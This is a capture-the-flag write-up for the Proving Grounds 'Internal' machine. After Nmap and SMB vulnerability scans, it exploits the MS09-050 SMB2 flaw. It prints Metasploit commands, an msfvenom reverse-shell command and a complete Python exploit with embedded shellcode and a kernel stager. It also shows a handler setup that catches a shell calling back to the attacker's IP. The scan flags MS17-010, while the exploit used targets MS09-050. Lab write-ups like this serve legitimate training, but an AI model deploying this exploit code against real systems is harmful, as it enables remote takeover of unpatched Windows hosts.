Proving grounds Practice - Internal CTF writeup.
Nmap
PORT STATE SERVICE VERSION
53/tcp open tcpwrapped
135/tcp open tcpwrapped
139/tcp open tcpwrapped
445/tcp open tcpwrapped
3389/tcp open tcpwrapped
5357/tcp open tcpwrapped
49152/tcp open tcpwrapped
49153/tcp open tcpwrapped
49154/tcp open tcpwrapped
49155/tcp open tcpwrapped
49156/tcp open tcpwrapped
49157/tcp open tcpwrapped
49158/tcp open tcpwrapped
SMB vulnerability scan
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Host script results:
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
Exploit DB
Exploit using metasploit
msfconsole
use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
set RHOSTS <target-ip>
set LHOST <local-ip>
run
Exploit without metasploit
Microsoft Windows - ‘srv2.sys’ SMB Code Execution (Python) (MS09-050).
Create reverse shell payload
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.45.153 LPORT=4444 EXITFUNC=thread -f c
Add the generated shell code as below in the python file.
# EDB-Note: Source ~ https://raw.githubusercontent.com/ohnozzy/Exploit/master/MS09_050.py
#!/usr/bin/python
#This module depends on the linux command line program smbclient.
#I can't find a python smb library for smb login. If you can find one, you can replace that part of the code with the smb login function in python.
#The idea is that after the evil payload is injected by the first packet, it need to be trigger by an authentication event. Whether the authentication successes or not does not matter.
import tempfile
import sys
import subprocess
from socket import socket
from time import sleep
from smb.SMBConnection import SMBConnection
try:
target = sys.argv[1]
except IndexError:
print '\nUsage: %s <target ip>\n' % sys.argv[0]
print 'Example: MS36299.py 192.168.1.1 1\n'
sys.exit(-1)
# msfvenom -p windows/shell/reverse_tcp LHOST=192.168.45.153 LPORT=4444 EXITFUNC=thread -f c
# use exploit/multi/handler
# set payload windows/shell/reverse_tcp
# set EXITFUNC=thread
# config lhost and lport then run
shell = ("\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x31\xff\x0f\xb7"
"\x4a\x26\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x8b"
"\x48\x18\x50\x01\xd3\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34"
"\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x2d\x99\x68\x02\x00"
"\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xe0\x1d\x2a\x0a\x68"
"\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5")
host = target, 445
buff ="\x00\x00\x03\x9e\xff\x53\x4d\x42"
buff+="\x72\x00\x00\x00\x00\x18\x53\xc8"
buff+="\x17\x02" #high process ID
buff+="\x00\xe9\x58\x01\x00\x00"
buff+="\x00\x00\x00\x00\x00\x00\x00\x00"
buff+="\x00\x00\xfe\xda\x00\x7b\x03\x02"
buff+="\x04\x0d\xdf\xff"*25
buff+="\x00\x02\x53\x4d"
buff+="\x42\x20\x32\x2e\x30\x30\x32\x00"
buff+="\x00\x00\x00\x00"*37
buff+="\xff\xff\xff\xff"*2
buff+="\x42\x42\x42\x42"*7
buff+="\xb4\xff\xff\x3f" #magic index
buff+="\x41\x41\x41\x41"*6
buff+="\x09\x0d\xd0\xff" #return address
#stager_sysenter_hook from metasploit
buff+="\xfc\xfa\xeb\x1e\x5e\x68\x76\x01"
buff+="\x00\x00\x59\x0f\x32\x89\x46\x5d"
buff+="\x8b\x7e\x61\x89\xf8\x0f\x30\xb9"
buff+="\x16\x02\x00\x00\xf3\xa4\xfb\xf4"
buff+="\xeb\xfd\xe8\xdd\xff\xff\xff\x6a"
buff+="\x00\x9c\x60\xe8\x00\x00\x00\x00"
buff+="\x58\x8b\x58\x54\x89\x5c\x24\x24"
buff+="\x81\xf9\xde\xc0\xad\xde\x75\x10"
buff+="\x68\x76\x01\x00\x00\x59\x89\xd8"
buff+="\x31\xd2\x0f\x30\x31\xc0\xeb\x31"
buff+="\x8b\x32\x0f\xb6\x1e\x66\x81\xfb"
buff+="\xc3\x00\x75\x25\x8b\x58\x5c\x8d"
buff+="\x5b\x69\x89\x1a\xb8\x01\x00\x00"
buff+="\x80\x0f\xa2\x81\xe2\x00\x00\x10"
buff+="\x00\x74\x0e\xba\x00\xff\x3f\xc0"
buff+="\x83\xc2\x04\x81\x22\xff\xff\xff"
buff+="\x7f\x61\x9d\xc3\xff\xff\xff\xff"
buff+="\x00\x04\xdf\xff\x00\x04\xfe\x7f"
buff+="\x60\x6a\x30\x58\x99\x64\x8b\x18"
buff+="\x39\x53\x0c\x74\x2b\x8b\x43\x10"
buff+="\x8b\x40\x3c\x83\xc0\x28\x8b\x08"
buff+="\x03\x48\x03\x81\xf9\x6c\x61\x73"
buff+="\x73\x75\x15\xe8\x07\x00\x00\x00"
buff+="\xe8\x0d\x00\x00\x00\xeb\x09\xb9"
buff+="\xde\xc0\xad\xde\x89\xe2\x0f\x34"
buff+="\x61\xc3\x81\xc4\x54\xf2\xff\xff"
buff+=shell
s = socket()
s.connect(host)
s.send(buff)
s.close()
#Trigger the above injected code via authenticated process.
subprocess.call("echo '1223456' | rpcclient -U Administrator %s"%(target), shell=True)
Troubleshoot smb.SMBConnection
The code is writtent in python2 and there will be an exception due to the pysmb module not present in the system. In order to resolve the issue follow the below steps:
- Download manually from https://miketeo.net/blog/projects/pysmb.
- Use unzip to extract and run the
setup.pyfile using python2. - Post that install the dependencies if any is missing in your system based on the exception thrown while running the file.
- Ensure the dependency packages are being installed using pip2.
Run msfconsole
Run msfconsole and configure the below options.
use exploit/multi/handler
set payload windows/shell/reverse_tcp #payload important it should be same as our shellcode payload
set EXITFUNC thread
set LHOST <IP>
set LPORT <PORT>
run
Run the exploit code along with the target IP and wait for few seconds.
Reverse shell obtained.
Thanks for reading!
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